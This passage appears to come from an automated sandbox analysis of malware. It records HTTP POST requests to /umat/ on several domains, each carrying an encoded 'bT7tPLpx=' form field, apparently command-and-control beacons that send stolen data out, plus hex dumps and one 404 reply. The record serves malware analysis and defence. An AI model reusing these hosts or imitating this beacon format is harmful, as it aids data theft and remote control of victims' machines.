bT7tPLpx=7WKKd5FEUdZoXfBAW7f7IAklbBzw5qkKC3zQxBP_PZA3T1d8yBNqMQM915Wi0NFsJlqghBAYIE2xBfRdDH~wv0Rhu5CpEvw0GL2yT9vOblHV191CudqLw2~HvUHPB1V4QNh1s9DSsiiO27(asIeMZwoPtEYTcp3uvgFLnly0gtHUU6gMbeB_86x4aO374-RaLjrp9I4svOe6(VJiwzM_kKG7M2mKigiU57HxwfkjFFKmVgspnW796T4b(AqJWMTkH6qaqjOA36EMM8XyI83m0NyP~n3SLCIJMcyTAY4UZI8w9LSLaZLSU3Q-54gRwlyIQuDTORCDR9SffMT99AVT7U~fRUOAhkdfDodkXa9TIK0LmZTpHoPfd9d81Ej32ZIn7CSirPPwYa2U5NmU9g).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.huiyi-sui.comConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.huiyi-sui.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.huiyi-sui.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 37 57 4b 4b 64 38 46 53 66 39 39 78 64 76 4e 7a 59 6f 76 76 48 51 30 6e 65 78 33 46 7a 4c 59 56 47 47 44 75 38 67 7e 50 4f 59 35 7a 58 46 42 52 28 69 38 33 4d 55 41 51 74 36 79 2d 7e 39 5a 7a 4a 6c 43 43 68 42 45 59 4c 45 65 68 43 34 64 7a 44 6b 57 7a 72 55 51 59 76 35 43 30 41 74 55 56 47 4c 43 51 54 39 6e 65 62 51 62 56 31 62 78 43 6f 65 79 51 7e 32 7e 46 6e 30 57 65 46 30 70 50 51 4e 34 67 73 5f 6e 53 73 54 65 4f 77 61 50 46 6c 76 79 50 55 41 6f 57 71 45 5a 44 56 4a 36 49 76 67 41 65 6e 6c 4f 30 67 66 6a 55 56 71 41 4d 54 50 42 2d 7a 71 78 48 65 4f 33 38 76 75 64 4c 4c 69 48 6c 39 4e 41 38 36 71 57 36 7e 6c 4a 68 6d 77 63 42 79 4a 44 35 41 58 53 74 69 67 75 74 35 4b 61 33 77 61 55 6d 4d 57 53 64 4a 53 31 38 6e 56 58 58 35 7a 34 58 6e 51 71 6f 57 4d 53 62 48 36 72 37 71 67 6d 41 33 37 63 4d 44 37 62 79 4a 63 33 6c 36 74 79 4a 35 6e 33 5a 50 43 45 33 4d 64 58 45 41 59 67 69 61 36 34 77 76 4c 43 4c 4c 70 33 52 56 6e 51 6b 7a 59 67 77 30 6c 79 54 51 75 43 32 4f 55 32 54 52 4b 79 66 4e 4a 28 39 74 79 39 54 38 6b 7e 66 64 30 4f 43 36 55 5a 78 44 73 78 6f 58 62 67 6d 49 35 34 4c 6e 50 48 70 48 4d 62 66 66 4e 64 38 34 6b 69 32 78 61 74 31 36 51 37 56 6d 76 33 33 52 75 6e 6d 79 4a 37 76 67 73 66 47 77 74 7a 62 4a 57 31 72 71 49 41 32 47 74 65 71 28 77 6f 53 52 30 55 67 4c 75 42 55 52 55 4e 55 49 66 48 35 30 54 6a 66 35 46 68 65 53 58 56 37 33 53 4c 45 39 75 57 58 7e 56 51 4d 6c 69 62 47 44 52 48 41 7a 35 33 4a 32 4f 7e 50 6f 73 67 46 7a 6c 70 52 66 78 4b 75 75 76 66 42 76 58 4d 70 38 50 66 76 64 59 33 66 6f 4d 32 65 7e 30 42 63 50 38 7e 35 6e 51 56 57 69 77 73 33 28 50 6d 31 28 41 39 41 7a 33 32 6c 31 65 46 32 44 42 66 4d 59 52 69 4e 31 52 7e 41 30 45 6c 44 6f 61 4c 67 4c 62 41 44 4f 68 57 58 64 65 6e 7a 49 46 4e 70 43 35 49 73 69 71 7e 74 47 6d 63 68 44 77 59 52 32 71 50 6d 36 7a 31 75 4d 4a 6e 66 28 5f 28 31 55 4a 46 52 36 63 74 49 61 45 6e 75 73 37 4f 53 73 4d 52 4c 56 4e 41 54 28 6e 4a 61 62 71 53 57 34 56 67 45 64 33 43 46 53 46 44 41 50 76 41 50 65 5f 76 63 61 61 71 4b 44 67 67 6c 52 4e 75 6d 6a 44 6f 6f 68 65 58 5f 78 4f 48 78 63 6d 73 54 51 42 6c 32 65 74 67 67 5a 5f 67 4f 61 72 6b 31 6e 56 4b 68 63 62 4f 51 5a 53 6e 7a 41 45 28 55 73 73 31 31 4c 4d 55 46 36 37 39 38 65 39 42 41 51 41 4a 4f 79 76 7a 35 5a 77 7a 6f 58 2d 54 32 54 72 54 57 50 45 4c 50 34 4b 54 4e 62 53 43 5f 4f 71 6f 65 33 48 43 6b 69 75 71 30 75 34 37 56 49 5f 4f 6f 71 65 5a 78 4b 77 54 4a 6d 39 65 77 6f 53 45 39 75 44 53 67 64 71 61 4d 49 49 65 78 69 78 78 4d 56 41 44 49 28 38 6f 66 55 65 44 54 44 68 6d 53 63 36 56 31 4e 4e 72 5f 7a 38 75 4b 4a 6f 34 77
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.sarrafguler.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.sarrafguler.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.sarrafguler.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 4b 6c 65 2d 34 67 59 63 32 6f 45 4f 37 68 30 68 7a 37 75 6c 74 71 36 4f 49 5a 7a 4b 65 59 72 57 62 79 50 37 70 66 48 4c 57 73 76 55 4b 48 6c 34 5a 42 38 69 7a 65 72 38 55 72 6a 74 34 78 48 43 6f 42 61 6b 28 74 57 67 45 57 55 57 65 58 7e 7a 47 76 68 59 53 51 72 75 33 51 6d 76 48 4d 59 6e 47 58 53 5f 4d 50 4c 36 31 79 5a 33 75 4d 4b 71 74 55 35 65 7a 55 59 33 74 6e 7e 73 42 38 48 33 6c 30 47 32 43 55 6b 39 57 74 42 41 32 5f 37 64 7e 36 38 61 43 54 36 79 4a 58 38 43 47 52 75 73 61 6c 56 5f 76 51 74 31 6d 76 41 31 44 42 67 53 63 6c 78 45 36 70 53 77 66 4d 48 6f 64 74 77 6c 48 32 4e 58 4f 48 32 51 4b 70 4a 59 7e 38 41 68 6b 34 75 73 54 45 58 50 48 4f 34 55 32 58 4c 53 5a 79 66 74 57 55 34 5f 75 4b 63 57 41 79 37 50 72 77 6b 57 53 68 72 31 28 68 72 4c 51 74 4f 43 77 6f 65 54 74 48 74 72 75 55 44 64 76 61 53 33 5a 53 76 59 33 76 78 4d 64 62 4f 72 4f 6a 6e 53 70 2d 35 78 78 4e 47 31 68 65 4e 67 32 68 4a 70 41 78 59 53 65 65 32 6a 65 56 35 68 54 53 54 49 49 45 53 38 34 72 64 68 33 4f 66 51 48 5a 77 77 70 62 47 72 4b 72 44 66 66 34 68 55 72 71 58 76 71 31 53 50 6a 30 5a 45 5a 4b 58 77 30 79 78 61 71 30 4c 45 77 53 31 61 77 6f 47 55 75 69 6e 30 51 32 75 4a 7e 38 74 5f 45 43 48 39 36 78 53 44 54 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=Kle-4gYc2oEO7h0hz7ultq6OIZzKeYrWbyP7pfHLWsvUKHl4ZB8izer8Urjt4xHCoBak(tWgEWUWeX~zGvhYSQru3QmvHMYnGXS_MPL61yZ3uMKqtU5ezUY3tn~sB8H3l0G2CUk9WtBA2_7d~68aCT6yJX8CGRusalV_vQt1mvA1DBgSclxE6pSwfMHodtwlH2NXOH2QKpJY~8Ahk4usTEXPHO4U2XLSZyftWU4_uKcWAy7PrwkWShr1(hrLQtOCwoeTtHtruUDdvaS3ZSvY3vxMdbOrOjnSp-5xxNG1heNg2hJpAxYSee2jeV5hTSTIIES84rdh3OfQHZwwpbGrKrDff4hUrqXvq1SPj0ZEZKXw0yxaq0LEwS1awoGUuin0Q2uJ~8t_ECH96xSDTg).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.sarrafguler.comConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.sarrafguler.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.sarrafguler.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 4b 6c 65 2d 34 68 6b 4b 79 59 70 4f 33 52 49 43 79 75 4b 78 69 37 4b 49 4b 6f 48 56 41 4a 33 4e 63 41 6e 76 74 65 32 37 56 73 48 4b 42 58 4a 47 54 69 39 6b 7a 65 62 46 63 35 58 54 70 42 62 42 6f 42 43 47 28 74 43 67 48 57 39 62 66 30 71 56 46 4d 5a 58 53 77 71 62 6c 67 6e 35 52 2d 73 61 47 58 57 42 4d 50 44 71 31 44 6c 33 28 65 43 71 76 54 56 72 39 55 59 31 6b 48 76 74 4f 63 44 41 6c 31 6a 6a 43 57 41 39 44 4e 4e 41 33 63 6a 61 70 70 55 5a 61 54 36 33 66 6e 39 65 63 68 7a 64 61 6c 41 71 76 56 56 31 6d 36 77 31 4d 79 6f 53 4a 69 6c 48 79 35 53 35 62 4d 48 6c 5a 74 73 30 48 31 70 4c 4f 47 43 41 4c 59 4e 59 76 63 41 67 67 72 4f 53 46 44 69 56 42 4e 6c 34 32 58 48 72 5a 44 44 31 57 56 6b 44 35 72 4d 74 4f 78 54 6c 72 79 49 6f 56 78 71 64 33 42 72 55 51 74 4f 69 77 6f 65 39 74 45 46 72 75 53 44 64 75 37 43 33 66 79 76 48 39 5f 78 4b 48 72 4f 38 46 44 72 76 70 36 73 6d 78 50 32 6c 67 74 35 67 32 79 52 70 42 53 41 64 47 75 32 6c 61 56 34 6e 41 43 54 48 49 45 54 5a 34 76 41 38 33 39 72 51 46 4b 6f 77 75 35 75 72 47 37 44 66 52 59 68 57 6b 4b 62 47 71 31 61 4c 6a 31 46 79 5a 64 50 77 74 41 35 61 72 52 6e 45 77 69 31 61 37 49 48 67 67 58 43 4d 64 56 44 6a 77 4f 5a 54 4b 6b 32 71 30 77 6a 32 54 72 34 42 31 66 32 67 48 48 4b 4d 38 72 76 73 54 6e 4c 52 75 64 65 59 74 6d 48 50 62 66 4f 6f 4c 66 68 44 4c 43 65 4a 53 46 72 57 61 78 51 43 32 70 4d 42 30 47 50 5a 6d 4a 61 45 50 61 70 6d 55 51 5a 51 63 5a 69 52 6b 35 74 57 58 4f 66 59 28 35 73 79 50 69 61 38 71 4a 69 47 59 4d 41 74 6f 70 4c 43 77 45 50 43 68 73 75 70 66 56 63 2d 5a 68 4e 36 78 31 4f 57 65 63 46 31 6b 73 57 57 38 4a 75 47 33 56 52 61 6d 44 73 36 32 62 58 30 68 78 28 4d 50 4b 36 77 6f 77 39 54 76 48 6e 44 65 33 70 77 46 4b 30 53 76 71 5a 42 66 7a 39 48 49 65 73 37 57 31 6e 39 38 75 70 70 47 53 6d 5f 50 71 57 71 76 6e 69 79 52 66 73 58 5a 49 73 37 70 63 76 30 74 35 76 34 77 77 6e 43 48 45 74 79 44 6f 39 41 7a 6d 39 75 73 48 72 35 56 56 32 7a 34 6c 52 69 76 44 73 2d 51 2d 73 6c 7a 52 61 53 62 71 69 48 28 76 28 66 38 74 6a 76 74 36 37 79 42 4f 65 39 75 37 4b 62 4b 4e 35 75 31 33 6b 72 55 31 44 5f 68 51 50 48 53 39 57 41 49 52 37 50 43 34 59 49 46 38 69 37 4f 6e 63 30 76 70 42 7a 4f 6f 57 61 71 43 67 57 6e 71 36 44 73 6a 65 75 4d 62 46 5a 61 49 79 73 44 47 39 69 4f 53 74 6d 74 42 4a 33 74 48 75 31 36 59 6b 33 59 45 4d 62 78 33 6e 39 30 4b 66 4f 69 58 6c 77 68 63 4d 79 75 65 6d 56 6f 78 69 74 6d 73 50 39 39 48 6c 57 6f 50 59 64 49 6e 57 74 79 33 65 5f 7a 5a 46 71 79 54 49 41 4d 71 5a 67 7e 6c 70 57 42 72 54 71 63 7a 51 63 32 68 46 71 4a 66 28 67 56 72 57 57 43 43 35 6d 4b 6a
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.theflysnare.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.theflysnare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.theflysnare.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 46 41 78 58 36 54 78 6d 54 37 69 55 6d 46 52 61 45 77 6e 69 34 53 54 66 38 57 51 76 37 6e 37 77 6d 75 7a 4b 67 49 5a 71 72 4b 52 74 46 69 43 32 43 58 47 30 73 6b 72 48 45 4a 66 57 34 59 45 54 4b 56 36 65 59 7a 38 70 70 55 46 56 74 2d 7a 34 69 4d 37 50 4d 63 63 66 62 67 76 34 6b 56 59 41 62 32 4b 4f 64 42 6e 5a 5a 33 38 65 4d 34 38 4c 28 57 78 66 62 70 70 30 41 63 36 55 63 59 28 54 47 78 6c 4f 7a 51 42 73 66 51 74 74 51 33 36 46 55 54 61 6b 73 61 53 59 79 72 7e 6f 73 76 45 64 51 70 76 4f 65 45 64 6e 36 30 32 59 6a 45 78 7a 57 72 43 57 47 5a 41 62 35 76 32 62 51 36 6f 71 38 6c 6f 55 58 58 72 74 35 31 6d 4b 71 6f 62 41 67 66 4c 48 61 30 45 5a 5a 4c 66 5a 54 63 4c 62 42 50 68 6d 56 64 4e 61 39 58 30 48 4a 76 35 73 66 74 69 34 64 70 71 4a 6c 39 53 49 50 59 58 41 51 69 71 35 50 30 65 56 4b 6b 61 49 39 66 41 6f 7a 48 52 61 6e 55 4d 65 35 56 6a 63 59 4a 48 70 42 35 58 79 36 4c 55 6b 5a 77 63 63 32 69 72 78 42 4d 4d 6d 4a 50 48 32 66 4f 77 57 48 55 44 45 73 66 47 6e 57 6f 52 32 6d 31 77 7a 58 78 48 36 44 43 4a 4b 70 4d 66 58 61 75 58 41 74 55 79 4e 54 35 52 52 57 5f 56 30 51 41 30 31 6e 73 68 71 43 70 68 54 50 5f 63 62 28 32 59 67 71 62 69 43 66 79 61 4c 49 65 37 46 38 57 53 37 52 50 45 6a 7a 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=FAxX6TxmT7iUmFRaEwni4STf8WQv7n7wmuzKgIZqrKRtFiC2CXG0skrHEJfW4YETKV6eYz8ppUFVt-z4iM7PMccfbgv4kVYAb2KOdBnZZ38eM48L(Wxfbpp0Ac6UcY(TGxlOzQBsfQttQ36FUTaksaSYyr~osvEdQpvOeEdn602YjExzWrCWGZAb5v2bQ6oq8loUXXrt51mKqobAgfLHa0EZZLfZTcLbBPhmVdNa9X0HJv5sfti4dpqJl9SIPYXAQiq5P0eVKkaI9fAozHRanUMe5VjcYJHpB5Xy6LUkZwcc2irxBMMmJPH2fOwWHUDEsfGnWoR2m1wzXxH6DCJKpMfXauXAtUyNT5RRW_V0QA01nshqCphTP_cb(2YgqbiCfyaLIe7F8WS7RPEjzw).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.theflysnare.comConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.theflysnare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.theflysnare.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 46 41 78 58 36 52 6c 77 4f 61 28 51 6f 31 64 44 48 44 57 37 7a 43 44 64 7e 6d 55 6b 6e 32 47 75 78 4c 66 5f 28 64 6b 61 36 36 6f 71 54 47 6e 35 56 41 6a 70 73 6b 61 70 49 61 36 65 31 59 34 55 4b 56 6a 50 59 77 51 70 37 55 39 46 74 5a 57 6c 73 49 62 41 4d 38 63 7a 55 41 76 6c 67 51 35 51 62 32 50 70 64 42 76 4a 59 47 77 65 4e 62 45 4c 6f 6e 78 45 57 70 70 79 65 73 71 79 53 34 7a 4f 47 78 4e 57 7a 52 39 73 4b 77 78 74 52 57 4c 33 64 77 79 72 6c 71 53 5a 33 72 7e 36 6d 50 41 4a 51 70 37 67 65 46 68 6e 36 47 53 59 6c 58 35 7a 51 59 61 58 4e 4a 41 65 39 76 32 4b 48 4b 73 47 38 6c 45 54 58 56 48 62 34 48 36 4b 72 59 62 44 33 35 75 79 65 6a 52 52 62 4c 44 31 54 63 50 69 41 65 4d 7a 56 59 39 36 7e 6d 46 5f 56 64 52 47 66 6f 53 53 62 4a 71 4e 75 64 53 44 50 59 58 30 51 69 71 48 50 31 4f 56 4b 6c 53 49 38 38 34 6f 69 33 52 5a 73 45 4d 51 69 6c 69 65 54 70 4c 4c 42 35 28 49 36 4b 4d 53 59 44 34 63 77 79 62 78 48 72 34 6c 64 5f 48 4b 62 4f 78 4b 44 55 43 54 73 66 47 4a 57 72 4a 59 6d 6d 55 7a 52 6b 7a 36 42 58 56 4b 36 4d 66 58 56 4f 58 47 6e 30 7e 64 54 35 5a 64 57 39 64 4f 52 33 6b 31 6e 5a 74 71 47 34 68 54 50 50 63 62 30 57 5a 77 69 36 54 4c 55 69 37 58 47 2d 65 6b 32 52 37 77 64 76 64 53 76 55 56 50 4a 50 7a 69 76 42 28 34 41 6d 50 6c 69 4a 75 74 33 78 59 2d 31 76 33 52 6d 4a 59 79 69 36 49 4a 67 33 62 61 66 74 51 78 6e 4c 46 53 47 41 5a 48 39 42 61 6d 7e 6d 6e 36 48 52 4c 51 72 33 68 4f 39 75 71 4f 44 55 41 42 7a 58 34 64 33 39 76 4f 76 5f 78 69 6d 4f 61 79 6c 55 4d 30 73 34 4a 5f 36 67 7a 57 50 4b 70 55 62 31 71 64 31 30 7e 50 74 46 41 79 4d 79 71 61 4a 4b 74 79 30 4e 34 77 32 35 72 39 70 59 64 54 71 31 4c 49 79 75 7a 42 4f 31 77 56 58 4b 58 79 41 64 32 30 55 4f 39 66 59 39 6a 53 50 43 4d 33 44 32 33 37 61 30 6b 5a 6b 39 38 44 4b 76 67 4a 54 5a 65 43 68 6b 44 76 4e 61 44 39 34 46 7a 36 39 61 67 69 53 76 56 4c 34 36 7e 77 4f 44 6d 68 73 66 43 53 7a 66 73 79 71 49 45 37 5a 4c 31 6d 28 49 73 56 48 2d 6d 79 42 46 31 4f 35 43 6a 63 71 74 53 65 54 42 68 4d 7e 49 28 42 6b 47 39 64 6b 64 59 33 51 31 32 36 34 45 6b 57 4f 50 63 48 6b 70 70 54 65 6c 50 35 49 75 28 7a 4e 34 69 4a 54 43 52 4b 34 58 46 4c 66 68 45 64 4e 4a 4c 4c 6c 72 49 4f 31 54 4a 76 39 75 65 7a 56 68 70 46 44 49 48 6f 72 58 70 43 7a 57 28 38 4f 5a 4c 61 36 34 53 42 54 6c 50 5f 61 49 30 66 6f 63 75 41 53 51 6f 7a 6f 42 6b 6b 4c 53 7e 58 78 39 54 58 4d 37 51 4b 77 32 69 4c 37 38 72 59 78 39 45 32 77 73 6d 32 56 47 30 49 32 55 38 4c 67 4c 61 58 6b 62 30 5f 52 52 28 33 68 73 61 4f 4f 52 35 69 49 55 57 41 75 75 54 44 6e 61 7e 70 34 6b 78 6a 43 52 47 62 6b 42 33 48 41 45
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.huayugw.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.huayugw.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.huayugw.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 35 4e 37 74 4d 52 42 54 76 77 6f 6c 49 44 57 70 49 57 6e 64 64 46 70 4f 35 30 45 50 48 35 43 6c 4c 30 76 38 7a 79 33 32 39 55 56 55 7e 38 28 73 28 71 55 47 69 34 57 6a 38 4e 68 79 68 37 52 4f 28 46 66 67 6e 71 44 4f 42 45 65 54 64 49 52 62 47 53 68 5a 6f 58 72 69 42 37 77 47 57 6f 65 77 35 69 79 35 65 57 38 59 34 74 4e 76 78 45 75 4b 4d 76 68 6f 36 34 67 53 61 69 43 49 69 47 53 38 58 31 77 34 4e 4a 72 74 6c 4c 4e 6e 72 49 77 50 68 53 6d 71 65 4d 65 41 77 4e 72 77 7a 6f 76 5a 39 72 32 58 45 5f 4c 4b 4a 67 72 79 65 44 62 36 31 50 4e 79 72 4d 72 78 45 67 28 69 30 70 59 38 70 39 36 59 56 59 47 67 72 51 4c 4c 51 33 44 53 30 76 44 34 46 49 4c 30 35 46 37 58 6f 73 56 4d 70 78 6d 72 79 70 30 52 28 62 61 7a 75 7a 63 4a 56 4e 70 52 31 4a 36 5a 37 65 38 34 59 66 50 49 6e 41 45 53 36 51 54 67 35 41 6d 67 56 61 4f 50 43 45 52 37 37 33 57 48 42 7a 57 69 41 6c 4a 66 67 41 74 63 47 70 4d 5f 63 42 4a 5a 76 33 45 75 36 67 6a 55 49 61 77 4b 41 44 55 33 55 6e 7e 50 70 7a 4f 35 77 4c 72 34 4e 51 78 37 53 42 34 43 6d 61 32 36 67 63 57 36 37 5f 56 32 4c 65 50 5a 48 55 52 63 78 4e 31 2d 64 7a 44 36 79 69 6b 6c 52 68 34 2d 64 5f 39 34 30 43 70 6a 58 39 32 55 35 34 37 70 6c 64 6c 70 53 51 42 78 67 50 31 77 7a 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=5N7tMRBTvwolIDWpIWnddFpO50EPH5ClL0v8zy329UVU~8(s(qUGi4Wj8Nhyh7RO(FfgnqDOBEeTdIRbGShZoXriB7wGWoew5iy5eW8Y4tNvxEuKMvho64gSaiCIiGS8X1w4NJrtlLNnrIwPhSmqeMeAwNrwzovZ9r2XE_LKJgryeDb61PNyrMrxEg(i0pY8p96YVYGgrQLLQ3DS0vD4FIL05F7XosVMpxmryp0R(bazuzcJVNpR1J6Z7e84YfPInAES6QTg5AmgVaOPCER773WHBzWiAlJfgAtcGpM_cBJZv3Eu6gjUIawKADU3Un~PpzO5wLr4NQx7SB4Cma26gcW67_V2LePZHURcxN1-dzD6yiklRh4-d_940CpjX92U547pldlpSQBxgP1wzw).
Source: global traffic	HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.huayugw.comConnection: closeContent-Length: 36482Cache-Control: no-cacheOrigin: http://www.huayugw.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.huayugw.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 35 4e 37 74 4d 51 52 5f 6b 54 38 34 47 7a 61 77 50 6b 47 61 46 46 5a 41 34 45 41 45 4c 5a 65 36 50 42 4c 77 73 47 28 4c 38 56 74 30 30 73 7a 42 37 70 6c 62 69 35 4b 4b 78 65 45 37 6b 62 64 4a 28 45 33 65 6e 71 48 4f 41 46 6e 4e 61 70 42 68 47 30 64 65 73 33 72 4f 43 37 78 59 53 71 72 53 35 69 33 4a 65 57 6b 49 34 64 5a 76 77 69 71 4b 46 49 4e 6a 6c 49 67 55 54 45 69 4d 68 32 4f 68 58 32 41 61 4e 4d 54 74 6c 37 42 6e 36 5a 41 49 31 6b 75 70 58 38 65 4a 38 74 72 54 38 49 6a 6e 39 71 43 6c 45 2d 6e 4b 4a 56 44 79 63 54 37 36 38 63 56 78 28 4d 72 4f 41 67 28 6b 69 70 56 69 70 39 6d 55 56 63 7e 57 71 67 76 4c 4b 6e 44 54 69 74 69 62 53 72 53 38 31 6c 4f 39 6f 73 4a 6c 71 6a 53 4a 79 6f 49 39 35 6f 7a 57 79 69 77 6e 56 50 6c 33 7a 70 36 64 76 75 38 6a 59 66 50 4f 6e 41 45 38 36 51 50 67 35 44 57 67 55 35 6d 50 54 45 52 34 78 6e 57 42 49 54 58 77 4b 46 46 39 67 42 45 35 47 73 77 46 66 7a 74 5a 70 6e 55 75 76 7a 37 56 41 61 77 45 45 44 56 31 48 33 28 59 70 7a 4f 62 77 4b 72 6f 4e 69 46 37 55 53 67 43 67 34 75 36 69 4d 57 36 6e 76 56 30 41 2d 7a 4a 48 55 4a 59 78 49 52 45 63 41 76 36 7a 33 77 6c 66 67 34 2d 52 76 39 34 68 53 6f 6e 52 4f 66 76 31 62 65 6e 73 37 5a 6d 56 6b 67 50 31 4e 30 56 75 46 75 47 44 73 58 50 44 36 7a 78 34 39 68 64 28 74 47 30 4a 49 28 45 58 4b 54 64 7a 64 53 44 4f 4a 6d 59 4b 52 54 68 7a 66 56 4d 74 34 56 63 54 4c 52 48 28 47 46 65 30 48 75 69 56 50 54 32 54 43 53 6c 76 57 74 54 7a 71 62 30 73 5f 64 33 6e 52 4a 33 59 31 59 70 39 6c 45 6d 7e 76 4f 38 59 49 48 56 72 58 79 72 61 62 70 69 35 51 48 32 71 47 55 64 7e 64 48 52 6e 50 7a 52 6e 35 66 44 50 73 43 39 41 46 50 33 4f 6c 59 4f 7a 31 34 77 31 6d 4c 77 36 61 47 75 58 63 54 4e 34 67 4c 45 66 53 68 41 70 38 41 76 47 68 41 65 6f 70 6c 34 70 4e 46 69 64 44 74 71 7a 66 55 49 6b 6b 56 34 28 56 7e 6b 35 43 31 4e 75 78 49 52 49 7a 56 66 77 5a 53 4a 32 47 47 6c 74 41 32 61 50 5f 30 32 28 50 4d 35 47 6a 34 48 49 5f 6b 34 42 64 67 52 6c 43 66 47 38 52 4a 37 4f 76 37 76 56 32 4d 65 56 53 66 34 77 45 43 68 36 36 7e 62 61 59 75 32 30 39 32 79 51 5f 28 4f 74 37 7e 45 77 74 52 68 70 5a 43 45 6d 6b 4a 34 71 79 73 58 46 30 4d 2d 79 44 28 54 43 64 41 73 4b 65 33 4c 68 50 72 38 50 44 59 70 79 6f 7e 41 68 68 6b 43 70 35 48 77 4e 76 55 4f 7e 66 32 76 4a 68 67 63 37 5f 41 73 39 68 4a 4e 70 4a 79 47 79 66 35 77 63 4f 72 5a 33 71 61 51 6e 41 67 6f 6d 48 42 35 35 31 53 58 6b 36 77 6e 79 6d 47 74 77 5a 6a 72 47 32 53 36 48 63 76 78 7e 43 65 45 6c 41 45 49 71 54 50 72 28 73 75 38 68 33 6c 54 74 74 6e 48 6a 33 46 39 70 73 36 71 54 2d 35 51 6b 33 41 41 39 48 52 51 34 7a 33 6d 66 78 64 51 32 6e

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Fri, 03 Jun 2022 06:16:59 GMTConnection: closeContent-Length: 1259Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 6b 73 5f 63 5f 35 36 30 31 2d 31 39 38 37 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 c6 c4 c0 cf 20 b6 c7 b4 c2 20 b5 f0 b7 ba c5 cd b8 ae b8 a6 20 c3 a3 c0 bb 20 bc f6 20 be f8 bd c0 b4 cf b4 d9 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 